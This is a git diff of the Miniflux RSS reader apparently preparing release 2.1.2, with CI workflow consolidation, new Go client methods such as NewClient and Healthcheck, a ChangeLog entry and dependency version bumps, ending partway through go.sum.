diff --git a/.devcontainer/docker-compose.yml b/.devcontainer/docker-compose.yml index f65edf15..ac5d01d3 100644 --- a/.devcontainer/docker-compose.yml +++ b/.devcontainer/docker-compose.yml @@ -1,7 +1,7 @@ version: '3.8' services: app: - image: mcr.microsoft.com/devcontainers/go + image: mcr.microsoft.com/devcontainers/go:1.22 volumes: - ..:/workspace:cached command: sleep infinity @@ -24,7 +24,7 @@ services: ports: - 5432:5432 apprise: - image: caronc/apprise:latest + image: caronc/apprise:1.0 restart: unless-stopped hostname: apprise volumes: diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 752de9b5..5eb69786 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -1,4 +1,7 @@ Do you follow the guidelines? - [ ] I have tested my changes +- [ ] There is no breaking changes +- [ ] I really tested my changes and there is no regression +- [ ] Ideally, my commit messages use the same convention as the Go project: https://go.dev/doc/contribute#commit_messages - [ ] I read this document: https://miniflux.app/faq.html#pull-request diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml index f059a397..cd030d3f 100644 --- a/.github/workflows/docker.yml +++ b/.github/workflows/docker.yml @@ -8,35 +8,8 @@ on: pull_request: branches: [ main ] jobs: - test-docker-images: - if: github.event.pull_request - name: Test Images - runs-on: ubuntu-latest - steps: - - name: Checkout - uses: actions/checkout@v4 - - name: Build Alpine image - uses: docker/build-push-action@v5 - with: - context: . - file: ./packaging/docker/alpine/Dockerfile - push: false - tags: ${{ github.repository_owner }}/miniflux:alpine-dev - - name: Test Alpine Docker image - run: docker run --rm ${{ github.repository_owner }}/miniflux:alpine-dev miniflux -i - - name: Build Distroless image - uses: docker/build-push-action@v5 - with: - context: . - file: ./packaging/docker/distroless/Dockerfile - push: false - tags: ${{ github.repository_owner }}/miniflux:distroless-dev - - name: Test Distroless Docker image - run: docker run --rm ${{ github.repository_owner }}/miniflux:distroless-dev miniflux -i - - publish-docker-images: - if: ${{ ! github.event.pull_request }} - name: Publish Images + docker-images: + name: Docker Images permissions: packages: write runs-on: ubuntu-latest @@ -46,33 +19,31 @@ jobs: with: fetch-depth: 0 - - name: Generate Alpine Docker tag - id: docker_alpine_tag - run: | - DOCKER_IMAGE=${{ github.repository_owner }}/miniflux - DOCKER_VERSION=dev - if [ "${{ github.event_name }}" = "schedule" ]; then - DOCKER_VERSION=nightly - TAGS="docker.io/${DOCKER_IMAGE}:${DOCKER_VERSION},ghcr.io/${DOCKER_IMAGE}:${DOCKER_VERSION},quay.io/${DOCKER_IMAGE}:${DOCKER_VERSION}" - elif [[ $GITHUB_REF == refs/tags/* ]]; then - DOCKER_VERSION=${GITHUB_REF#refs/tags/} - TAGS="docker.io/${DOCKER_IMAGE}:${DOCKER_VERSION},ghcr.io/${DOCKER_IMAGE}:${DOCKER_VERSION},quay.io/${DOCKER_IMAGE}:${DOCKER_VERSION},docker.io/${DOCKER_IMAGE}:latest,ghcr.io/${DOCKER_IMAGE}:latest,quay.io/${DOCKER_IMAGE}:latest" - fi - echo ::set-output name=tags::${TAGS} + - name: Generate Alpine Docker tags + id: docker_alpine_tags + uses: docker/metadata-action@v5 + with: + images: | + docker.io/${{ github.repository_owner }}/miniflux + ghcr.io/${{ github.repository_owner }}/miniflux + quay.io/${{ github.repository_owner }}/miniflux + tags: | + type=ref,event=pr + type=schedule,pattern=nightly + type=semver,pattern={{raw}} - - name: Generate Distroless Docker tag - id: docker_distroless_tag - run: | - DOCKER_IMAGE=${{ github.repository_owner }}/miniflux - DOCKER_VERSION=dev-distroless - if [ "${{ github.event_name }}" = "schedule" ]; then - DOCKER_VERSION=nightly-distroless - TAGS="docker.io/${DOCKER_IMAGE}:${DOCKER_VERSION},ghcr.io/${DOCKER_IMAGE}:${DOCKER_VERSION},quay.io/${DOCKER_IMAGE}:${DOCKER_VERSION}" - elif [[ $GITHUB_REF == refs/tags/* ]]; then - DOCKER_VERSION=${GITHUB_REF#refs/tags/}-distroless - TAGS="docker.io/${DOCKER_IMAGE}:${DOCKER_VERSION},ghcr.io/${DOCKER_IMAGE}:${DOCKER_VERSION},quay.io/${DOCKER_IMAGE}:${DOCKER_VERSION},docker.io/${DOCKER_IMAGE}:latest-distroless,ghcr.io/${DOCKER_IMAGE}:latest-distroless,quay.io/${DOCKER_IMAGE}:latest-distroless" - fi - echo ::set-output name=tags::${TAGS} + - name: Generate Distroless Docker tags + id: docker_distroless_tags + uses: docker/metadata-action@v5 + with: + images: | + docker.io/${{ github.repository_owner }}/miniflux + ghcr.io/${{ github.repository_owner }}/miniflux + quay.io/${{ github.repository_owner }}/miniflux + tags: | + type=ref,event=pr,suffix=-distroless + type=schedule,pattern=nightly,suffix=-distroless + type=semver,pattern={{raw}},suffix=-distroless - name: Set up QEMU uses: docker/setup-qemu-action@v3 @@ -81,12 +52,14 @@ jobs: uses: docker/setup-buildx-action@v3 - name: Login to DockerHub + if: github.event_name != 'pull_request' uses: docker/login-action@v3 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} - name: Login to GitHub Container Registry + if: github.event_name != 'pull_request' uses: docker/login-action@v3 with: registry: ghcr.io @@ -94,6 +67,7 @@ jobs: password: ${{ secrets.GITHUB_TOKEN }} - name: Login to Quay Container Registry + if: github.event_name != 'pull_request' uses: docker/login-action@v3 with: registry: quay.io @@ -106,8 +80,8 @@ jobs: context: . file: ./packaging/docker/alpine/Dockerfile platforms: linux/amd64,linux/arm/v6,linux/arm/v7,linux/arm64 - push: true - tags: ${{ steps.docker_alpine_tag.outputs.tags }} + push: ${{ github.event_name != 'pull_request' }} + tags: ${{ steps.docker_alpine_tags.outputs.tags }} - name: Build and Push Distroless images uses: docker/build-push-action@v5 @@ -115,5 +89,5 @@ jobs: context: . file: ./packaging/docker/distroless/Dockerfile platforms: linux/amd64,linux/arm64 - push: true - tags: ${{ steps.docker_distroless_tag.outputs.tags }} + push: ${{ github.event_name != 'pull_request' }} + tags: ${{ steps.docker_distroless_tags.outputs.tags }} diff --git a/.github/workflows/linters.yml b/.github/workflows/linters.yml index de1c1c6c..6ef8b5ab 100644 --- a/.github/workflows/linters.yml +++ b/.github/workflows/linters.yml @@ -22,7 +22,7 @@ jobs: run: eslint internal/ui/static/js/*.js golangci: - name: Golang Linter + name: Golang Linters runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 @@ -32,8 +32,8 @@ jobs: - run: "go vet ./..." - uses: golangci/golangci-lint-action@v4 with: - args: --timeout 10m --skip-dirs tests --disable errcheck --enable sqlclosecheck --enable misspell --enable gofmt --enable goimports --enable whitespace - - uses: dominikh/staticcheck-action@v1.3.0 + args: --timeout 10m --skip-dirs tests --disable errcheck --enable sqlclosecheck --enable misspell --enable gofmt --enable goimports --enable whitespace --enable gocritic + - uses: dominikh/staticcheck-action@v1.3.1 with: version: "2023.1.7" install-go: false diff --git a/ChangeLog b/ChangeLog index 178098d7..d4a3fda3 100644 --- a/ChangeLog +++ b/ChangeLog @@ -1,3 +1,84 @@ +Version 2.1.2 (March 30, 2024) +------------------------------ + +* `api`: rewrite API integration tests without build tags +* `ci`: add basic ESLinter checks +* `ci`: enable go-critic linter and fix various issues detected +* `ci`: fix JavaScript linter path in GitHub Actions +* `cli`: avoid misleading error message when creating an admin user automatically +* `config`: add `FILTER_ENTRY_MAX_AGE_DAYS` option +* `config`: bump the number of simultaneous workers +* `config`: rename `PROXY_*` options to `MEDIA_PROXY_*` +* `config`: use `crypto.GenerateRandomBytes` instead of doing it by hand +* `http/request`: refactor conditions to be more idiomatic +* `http/response`: remove legacy `X-XSS-Protection` header +* `integration/rssbrige`: fix rssbrige import +* `integration/shaarli`: factorize the header+payload concatenation as data +* `integration/shaarli`: no need to base64-encode then remove the padding when we can simply encode without padding +* `integration/shaarli`: the JWT token was declared as using HS256 as algorithm, but was using HS512 +* `integration/webhook`: add category title to request body +* `locale`: update Turkish translations +* `man page`: sort config options in alphabetical order +* `mediaproxy`: reduce the internal indentation of `ProxifiedUrl` by inverting some conditions +* `mediaproxy`: simplify and refactor the package +* `model`: replace` Optional{Int,Int64,Float64}` with a generic function `OptionalNumber()` +* `model`: use struct embedding for `FeedCreationRequestFromSubscriptionDiscovery` to reduce code duplication +* `reader/atom`: avoid debug message when the date is empty +* `reader/atom`: change `if !a { a = } if !a {a = }` constructs into `if !a { a = ; if !a {a = }}` to reduce the number of comparisons and improve readability +* `reader/atom`: Move the population of the feed's entries into a new function, to make BuildFeed easier to understand/separate concerns/implementation details +* `reader/atom`: refactor Atom parser to use an adapter +* `reader/atom`: use `sort+compact` instead of `compact+sort` to remove duplicates +* `reader/atom`: when detecting the format, detect its version as well +* `reader/encoding`: inline a one-liner function +* `reader/handler`: fix force refresh feature +* `reader/json`: refactor JSON Feed parser to use an adapter +* `reader/media`: remove a superfluous error-check: `strconv.ParseInt` returns `0` when passed an empty string +* `reader/media`: simplify switch-case by moving a common condition above it +* `reader/processor`: compile block/keep regex only once per feed +* `reader/rdf`: refactor RDF parser to use an adapter +* `reader/rewrite`: inline some one-line functions +* `reader/rewrite`: simplify `removeClickbait` +* `reader/rewrite`: transform a free-standing function into a method +* `reader/rewrite`: use a proper constant instead of a magic number in `applyFuncOnTextContent` +* `reader/rss`: add support for `` element +* `reader/rss`: don't add empty tags to RSS items +* `reader/rss`: refactor RSS parser to use a default namespace to avoid some limitations of the Go XML parser +* `reader/rss`: refactor RSS Parser to use an adapter +* `reader/rss`: remove some duplicated code in RSS parser +* `reader`: ensure that enclosure URLs are always absolute +* `reader`: move iTunes and GooglePlay XML definitions to their own packages +* `reader`: parse podcast categories +* `reader`: remove trailing space in `SiteURL` and `FeedURL` +* `storage`: do not store empty tags +* `storage`: simplify `removeDuplicates()` to use a `sort`+`compact` construct instead of doing it by hand with a hashmap +* `storage`: Use plain strings concatenation instead of building an array and then joining it +* `timezone`: make sure the tests pass when the timezone database is not installed on the host +* `ui/css`: align `min-width` with the other `min-width` values +* `ui/css`: fix regression: "Add to Home Screen" button is unreadable +* `ui/js`: don't use lambdas to return a function, use directly the function instead +* `ui/js`: enable trusted-types +* `ui/js`: fix download button loading label +* `ui/js`: fix JavaScript error on the login page when the user not authenticated +* `ui/js`: inline one-line functions +* `ui/js`: inline some `querySelectorAll` calls +* `ui/js`: reduce the scope of some variables +* `ui/js`: remove a hack for "Chrome 67 and earlier" since it was released in 2018 +* `ui/js`: replace `DomHelper.findParent` with `.closest` +* `ui/js`: replace `let` with `const` +* `ui/js`: simplify `DomHelper.getVisibleElements` by using a `filter` instead of a loop with an index +* `ui/js`: use a `Set` instead of an array in a `KeyboardHandler`'s member +* `ui/js`: use some ternaries where it makes sense +* `ui/static`: make use of `HashFromBytes` everywhere +* `ui/static`: set minifier ECMAScript version +* `ui`: add keyboard shortcuts for scrolling to top/bottom of the item list +* `ui`: add media player control playback speed +* `ui`: remove unused variables and improve JSON decoding in `saveEnclosureProgression()` +* `validator`: display an error message on edit feed page when the feed URL is not unique +* Bump `github.com/coreos/go-oidc/v3` from `3.9.0` to `3.10.0` +* Bump `github.com/go-webauthn/webauthn` from `0.10.1` to `0.10.2` +* Bump `github.com/tdewolff/minify/v2` from `2.20.18` to `2.20.19` +* Bump `google.golang.org/protobuf` from `1.32.0` to `1.33.0` + Version 2.1.1 (March 10, 2024) ----------------------------- diff --git a/Makefile b/Makefile index 2a0d20f8..461d0886 100644 --- a/Makefile +++ b/Makefile @@ -101,7 +101,7 @@ windows-x86: @ GOOS=windows GOARCH=386 go build -ldflags=$(LD_FLAGS) -o $(APP)-$@.exe main.go run: - @ LOG_DATE_TIME=1 DEBUG=1 RUN_MIGRATIONS=1 CREATE_ADMIN=1 ADMIN_USERNAME=admin ADMIN_PASSWORD=test123 go run main.go + @ LOG_DATE_TIME=1 LOG_LEVEL=debug RUN_MIGRATIONS=1 CREATE_ADMIN=1 ADMIN_USERNAME=admin ADMIN_PASSWORD=test123 go run main.go clean: @ rm -f $(APP)-* $(APP) $(APP)*.rpm $(APP)*.deb $(APP)*.exe @@ -128,7 +128,11 @@ integration-test: ./miniflux-test >/tmp/miniflux.log 2>&1 & echo "$$!" > "/tmp/miniflux.pid" while ! nc -z localhost 8080; do sleep 1; done - go test -v -tags=integration -count=1 miniflux.app/v2/internal/tests + + TEST_MINIFLUX_BASE_URL=http://127.0.0.1:8080 \ + TEST_MINIFLUX_ADMIN_USERNAME=admin \ + TEST_MINIFLUX_ADMIN_PASSWORD=test123 \ + go test -v -count=1 ./internal/api clean-integration-test: @ kill -9 `cat /tmp/miniflux.pid` diff --git a/client/client.go b/client/client.go index 23ff3d07..9b92b33b 100644 --- a/client/client.go +++ b/client/client.go @@ -18,16 +18,44 @@ type Client struct { } // New returns a new Miniflux client. +// Deprecated: use NewClient instead. func New(endpoint string, credentials ...string) *Client { - // Web gives "API Endpoint = https://miniflux.app/v1/", it doesn't work (/v1/v1/me) + return NewClient(endpoint, credentials...) +} + +// NewClient returns a new Miniflux client. +func NewClient(endpoint string, credentials ...string) *Client { + // Trim trailing slashes and /v1 from the endpoint. endpoint = strings.TrimSuffix(endpoint, "/") endpoint = strings.TrimSuffix(endpoint, "/v1") - // trim to https://miniflux.app - - if len(credentials) == 2 { + switch len(credentials) { + case 2: return &Client{request: &request{endpoint: endpoint, username: credentials[0], password: credentials[1]}} + case 1: + return &Client{request: &request{endpoint: endpoint, apiKey: credentials[0]}} + default: + return &Client{request: &request{endpoint: endpoint}} } - return &Client{request: &request{endpoint: endpoint, apiKey: credentials[0]}} +} + +// Healthcheck checks if the application is up and running. +func (c *Client) Healthcheck() error { + body, err := c.request.Get("/healthcheck") + if err != nil { + return fmt.Errorf("miniflux: unable to perform healthcheck: %w", err) + } + defer body.Close() + + responseBodyContent, err := io.ReadAll(body) + if err != nil { + return fmt.Errorf("miniflux: unable to read healthcheck response: %w", err) + } + + if string(responseBodyContent) != "OK" { + return fmt.Errorf("miniflux: invalid healthcheck response: %q", responseBodyContent) + } + + return nil } // Version returns the version of the Miniflux instance. @@ -528,6 +556,25 @@ func (c *Client) SaveEntry(entryID int64) error { return err } +// FetchEntryOriginalContent fetches the original content of an entry using the scraper. +func (c *Client) FetchEntryOriginalContent(entryID int64) (string, error) { + body, err := c.request.Get(fmt.Sprintf("/v1/entries/%d/fetch-content", entryID)) + if err != nil { + return "", err + } + defer body.Close() + + var response struct { + Content string `json:"content"` + } + + if err := json.NewDecoder(body).Decode(&response); err != nil { + return "", fmt.Errorf("miniflux: response error (%v)", err) + } + + return response.Content, nil +} + // FetchCounters fetches feed counters. func (c *Client) FetchCounters() (*FeedCounters, error) { body, err := c.request.Get("/v1/feeds/counters") diff --git a/client/doc.go b/client/doc.go index c395793b..48053b59 100644 --- a/client/doc.go +++ b/client/doc.go @@ -12,7 +12,7 @@ This code snippet fetch the list of users: miniflux "miniflux.app/v2/client" ) - client := miniflux.New("https://api.example.org", "admin", "secret") + client := miniflux.NewClient("https://api.example.org", "admin", "secret") users, err := client.Users() if err != nil { fmt.Println(err) diff --git a/client/model.go b/client/model.go index 9d9ab08e..c0d42eb8 100644 --- a/client/model.go +++ b/client/model.go @@ -41,6 +41,7 @@ type User struct { DefaultHomePage string `json:"default_home_page"` CategoriesSortingOrder string `json:"categories_sorting_order"` MarkReadOnView bool `json:"mark_read_on_view"` + MediaPlaybackRate float64 `json:"media_playback_rate"` } func (u User) String() string { @@ -58,28 +59,29 @@ type UserCreationRequest struct { // UserModificationRequest represents the request to update a user. type UserModificationRequest struct { - Username *string `json:"username"` - Password *string `json:"password"` - IsAdmin *bool `json:"is_admin"` - Theme *string `json:"theme"` - Language *string `json:"language"` - Timezone *string `json:"timezone"` - EntryDirection *string `json:"entry_sorting_direction"` - EntryOrder *string `json:"entry_sorting_order"` - Stylesheet *string `json:"stylesheet"` - GoogleID *string `json:"google_id"` - OpenIDConnectID *string `json:"openid_connect_id"` - EntriesPerPage *int `json:"entries_per_page"` - KeyboardShortcuts *bool `json:"keyboard_shortcuts"` - ShowReadingTime *bool `json:"show_reading_time"` - EntrySwipe *bool `json:"entry_swipe"` - GestureNav *string `json:"gesture_nav"` - DisplayMode *string `json:"display_mode"` - DefaultReadingSpeed *int `json:"default_reading_speed"` - CJKReadingSpeed *int `json:"cjk_reading_speed"` - DefaultHomePage *string `json:"default_home_page"` - CategoriesSortingOrder *string `json:"categories_sorting_order"` - MarkReadOnView *bool `json:"mark_read_on_view"` + Username *string `json:"username"` + Password *string `json:"password"` + IsAdmin *bool `json:"is_admin"` + Theme *string `json:"theme"` + Language *string `json:"language"` + Timezone *string `json:"timezone"` + EntryDirection *string `json:"entry_sorting_direction"` + EntryOrder *string `json:"entry_sorting_order"` + Stylesheet *string `json:"stylesheet"` + GoogleID *string `json:"google_id"` + OpenIDConnectID *string `json:"openid_connect_id"` + EntriesPerPage *int `json:"entries_per_page"` + KeyboardShortcuts *bool `json:"keyboard_shortcuts"` + ShowReadingTime *bool `json:"show_reading_time"` + EntrySwipe *bool `json:"entry_swipe"` + GestureNav *string `json:"gesture_nav"` + DisplayMode *string `json:"display_mode"` + DefaultReadingSpeed *int `json:"default_reading_speed"` + CJKReadingSpeed *int `json:"cjk_reading_speed"` + DefaultHomePage *string `json:"default_home_page"` + CategoriesSortingOrder *string `json:"categories_sorting_order"` + MarkReadOnView *bool `json:"mark_read_on_view"` + MediaPlaybackRate *float64 `json:"media_playback_rate"` } // Users represents a list of users. @@ -290,3 +292,7 @@ type VersionResponse struct { Arch string `json:"arch"` OS string `json:"os"` } + +func SetOptionalField[T any](value T) *T { + return &value +} diff --git a/client/request.go b/client/request.go index 1c91316e..45787f4d 100644 --- a/client/request.go +++ b/client/request.go @@ -26,6 +26,7 @@ var ( ErrForbidden = errors.New("miniflux: access forbidden") ErrServerError = errors.New("miniflux: internal server error") ErrNotFound = errors.New("miniflux: resource not found") + ErrBadRequest = errors.New("miniflux: bad request") ) type errorResponse struct { @@ -124,10 +125,10 @@ func (r *request) execute(method, path string, data interface{}) (io.ReadCloser, var resp errorResponse decoder := json.NewDecoder(response.Body) if err := decoder.Decode(&resp); err != nil { - return nil, fmt.Errorf("miniflux: bad request error (%v)", err) + return nil, fmt.Errorf("%w (%v)", ErrBadRequest, err) } - return nil, fmt.Errorf("miniflux: bad request (%s)", resp.ErrorMessage) + return nil, fmt.Errorf("%w (%s)", ErrBadRequest, resp.ErrorMessage) } if response.StatusCode > 400 { diff --git a/go.mod b/go.mod index d83a16b0..a63c6c2f 100644 --- a/go.mod +++ b/go.mod @@ -5,23 +5,24 @@ module miniflux.app/v2 require ( github.com/PuerkitoBio/goquery v1.9.1 github.com/abadojack/whatlanggo v1.0.1 - github.com/coreos/go-oidc/v3 v3.9.0 - github.com/go-webauthn/webauthn v0.10.1 + github.com/coreos/go-oidc/v3 v3.10.0 + github.com/go-webauthn/webauthn v0.10.2 github.com/gorilla/mux v1.8.1 github.com/lib/pq v1.10.9 github.com/prometheus/client_golang v1.19.0 - github.com/tdewolff/minify/v2 v2.20.18 - github.com/yuin/goldmark v1.7.0 - golang.org/x/crypto v0.21.0 - golang.org/x/net v0.22.0 - golang.org/x/oauth2 v0.18.0 - golang.org/x/term v0.18.0 + github.com/tdewolff/minify/v2 v2.20.19 + github.com/yuin/goldmark v1.7.1 + golang.org/x/crypto v0.22.0 + golang.org/x/net v0.24.0 + golang.org/x/oauth2 v0.19.0 + golang.org/x/term v0.19.0 + golang.org/x/text v0.14.0 mvdan.cc/xurls/v2 v2.5.0 ) require ( - github.com/go-webauthn/x v0.1.8 // indirect - github.com/golang-jwt/jwt/v5 v5.2.0 // indirect + github.com/go-webauthn/x v0.1.9 // indirect + github.com/golang-jwt/jwt/v5 v5.2.1 // indirect github.com/google/go-tpm v0.9.0 // indirect ) @@ -29,9 +30,8 @@ require ( github.com/andybalholm/cascadia v1.3.2 // indirect github.com/beorn7/perks v1.0.1 // indirect github.com/cespare/xxhash/v2 v2.2.0 // indirect - github.com/fxamacker/cbor/v2 v2.5.0 // indirect - github.com/go-jose/go-jose/v3 v3.0.3 // indirect - github.com/golang/protobuf v1.5.3 // indirect + github.com/fxamacker/cbor/v2 v2.6.0 // indirect + github.com/go-jose/go-jose/v4 v4.0.1 // indirect github.com/google/uuid v1.6.0 // indirect github.com/mitchellh/mapstructure v1.5.0 // indirect github.com/prometheus/client_model v0.5.0 // indirect @@ -39,10 +39,8 @@ require ( github.com/prometheus/procfs v0.12.0 // indirect github.com/tdewolff/parse/v2 v2.7.12 // indirect github.com/x448/float16 v0.8.4 // indirect - golang.org/x/sys v0.18.0 // indirect - golang.org/x/text v0.14.0 // indirect - google.golang.org/appengine v1.6.8 // indirect - google.golang.org/protobuf v1.32.0 // indirect + golang.org/x/sys v0.19.0 // indirect + google.golang.org/protobuf v1.33.0 // indirect ) go 1.22 diff --git a/go.sum b/go.sum index 20d5b38f..f2013f52 100644 --- a/go.sum +++ b/go.sum @@ -8,27 +8,20 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/coreos/go-oidc/v3 v3.9.0 h1:0J/ogVOd4y8P0f0xUh8l9t07xRP/d8tccvjHl2dcsSo= -github.com/coreos/go-oidc/v3 v3.9.0/go.mod h1:rTKz2PYwftcrtoCzV5g5kvfJoWcm0Mk8AF8y1iAQro4= -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/coreos/go-oidc/v3 v3.10.0 h1:tDnXHnLyiTVyT/2zLDGj09pFPkhND8Gl8lnTRhoEaJU= +github.com/coreos/go-oidc/v3 v3.10.0/go.mod h1:5j11xcw0D3+SGxn6Z/WFADsgcWVMyNAlSQupk0KK3ac= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/fxamacker/cbor/v2 v2.5.0 h1:oHsG0V/Q6E/wqTS2O1Cozzsy69nqCiguo5Q1a1ADivE= -github.com/fxamacker/cbor/v2 v2.5.0/go.mod h1:TA1xS00nchWmaBnEIxPSE5oHLuJBAVvqrtAnWBwBCVo= -github.com/go-jose/go-jose/v3 v3.0.3 h1:fFKWeig/irsp7XD2zBxvnmA/XaRWp5V3CBsZXJF7G7k= -github.com/go-jose/go-jose/v3 v3.0.3/go.mod h1:5b+7YgP7ZICgJDBdfjZaIt+H/9L9T/YQrVfLAMboGkQ= -github.com/go-webauthn/webauthn v0.10.1 h1:+RFKj4yHPy282teiiy5sqTYPfRilzBpJyedrz9KsNFE= -github.com/go-webauthn/webauthn v0.10.1/go.mod h1:a7BwAtrSMkeuJXtIKz433Av99nAv01pdfzB0a9xkDnI= -github.com/go-webauthn/x v0.1.8 h1:f1C6k1AyUlDvnIzWSW+G9rN9nbp1hhLXZagUtyxZ8nc= -github.com/go-webauthn/x v0.1.8/go.mod h1:i8UNlGVt3oy6oAFcP4SZB1djZLx/4pbekCbWowjTaJg= -github.com/golang-jwt/jwt/v5 v5.2.0 h1:d/ix8ftRUorsN+5eMIlF4T6J8CAt9rch3My2winC1Jw= -github.com/golang-jwt/jwt/v5 v5.2.0/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= -github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= -github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.9/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/fxamacker/cbor/v2 v2.6.0 h1:sU6J2usfADwWlYDAFhZBQ6TnLFBHxgesMrQfQgk1tWA= +github.com/fxamacker/cbor/v2 v2.6.0/go.mod h1:pxXPTn3joSm21Gbwsv0w9OSA2y1HFR9qXEeXQVeNoDQ= +github.com/go-jose/go-jose/v4 v4.0.1 h1:QVEPDE3OluqXBQZDcnNvQrInro2h0e4eqNbnZSWqS6U= +github.com/go-jose/go-jose/v4 v4.0.1/go.mod h1:WVf9LFMHh/QVrmqrOfqun0C45tMe3RoiKJMPvgWwLfY= +github.com/go-webauthn/webauthn v0.10.2 h1:OG7B+DyuTytrEPFmTX503K77fqs3HDK/0Iv+z8UYbq4= +github.com/go-webauthn/webauthn v0.10.2/go.mod h1:Gd1IDsGAybuvK1NkwUTLbGmeksxuRJjVN2PE/xsPxHs= +github.com/go-webauthn/x v0.1.9 h1:v1oeLmoaa+gPOaZqUdDentu6Rl7HkSSsmOT6gxEQHhE= +github.com/go-webauthn/x v0.1.9/go.mod h1:pJNMlIMP1SU7cN8HNlKJpLEnFHCygLCvaLZ8a1xeoQA= +github.com/golang-jwt/jwt/v5 v5.2.1 h1:OuVbFODueb089Lh128TAcimifWaLhJwVflnrgM17wHk= +github.com/golang-jwt/jwt/v5 v5.2.1/go.mod h1:pqrtFR0X4osieyHYxtmOUWsAWrfe1Q5UVIyoH402zdk= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/go-tpm v0.9.0 h1:sQF6YqWMi+SCXpsmS3fd21oPy/vSddwZry4JnmltHVk= @@ -51,12 +44,10 @@ github.com/prometheus/common v0.48.0 h1:QO8U2CdOzSn1BBsmXJXduaaW+dY/5QLjfB8svtSz github.com/prometheus/common v0.48.0/go.mod h1:0/KsvlIEfPQCQ5I2iNSAWKPZziNCvRs5EC6ILDTlAPc= github.com/prometheus/procfs v0.12.0 h1:jluTpSng7V9hY0O2R9DzzJHYb2xULk9VTR1V1R/k6Bo= github.com/prometheus/procfs v0.12.0/go.mod h1:pcuDEFsWDnvcgNzo4EEweacyhjeA9Zk3cnaOZAZEfOo= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= -github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= -github.com/tdewolff/minify/v2 v2.20.18 h1:y+s6OzlZwFqApgNXWNtaMuEMEPbHT72zrCyb9Az35Xo= -github.com/tdewolff/minify/v2 v2.20.18/go.mod h1:ulkFoeAVWMLEyjuDz1ZIWOA31g5aWOawCFRp9R/MudM= +github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= +github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= +github.com/tdewolff/minify/v2 v2.20.19 h1:tX0SR0LUrIqGoLjXnkIzRSIbKJ7PaNnSENLD4CyH6Xo= +github.com/tdewolff/minify/v2 v2.20.19/go.mod h1:ulkFoeAVWMLEyjuDz1ZIWOA31g5aWOawCFRp9R/MudM= github.com/tdewolff/parse/v2 v2.7.12 h1:tgavkHc2ZDEQVKy1oWxwIyh5bP4F5fEh/JmBwPP/3LQ= github.com/tdewolff/parse/v2 v2.7.12/go.mod h1:3FbJWZp3XT9OWVN3Hmfp0p/a08v4h8J9W1aghka0soA= github.com/tdewolff/test v1.0.11-0.20231101010635-f1265d231d52/go.mod h1:6DAvZliBAAnD7rhVgwaM7DE5/d9NMOAJ09SqYqeK4QE= @@ -65,13 +56,12 @@ github.com/tdewolff/test v1.0.11-0.20240106005702-7de5f7df4739/go.mod h1:XPuWBzv github.com/x448/float16 v0.8.4 h1:qLwI1I70+NjRFUR3zs1JPUCgaCXSh3SW62uAKT1mSBM= github.com/x448/float16 v0.8.4/go.mod h1:14CWIYCyZA/cWjXOioeEpHeN/83MdbZDRQHoFcYsOfg= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= -github.com/yuin/goldmark v1.7.0 h1:EfOIvIMZIzHdB/R/zVrikYLPPwJlfMcNczJFMs1m6sA= -github.com/yuin/goldmark v1.7.0/go.mod h1:uzxRWxtg69N339t3louHJ7+O03ezfj6PlliRlaOzY1E= +github.com/yuin/goldmark v1.7.1 h1:3bajkSilaCbjdKVsKdZjZCLBNPL9pYzrCakKaf4U49U= +github.com/yuin/goldmark 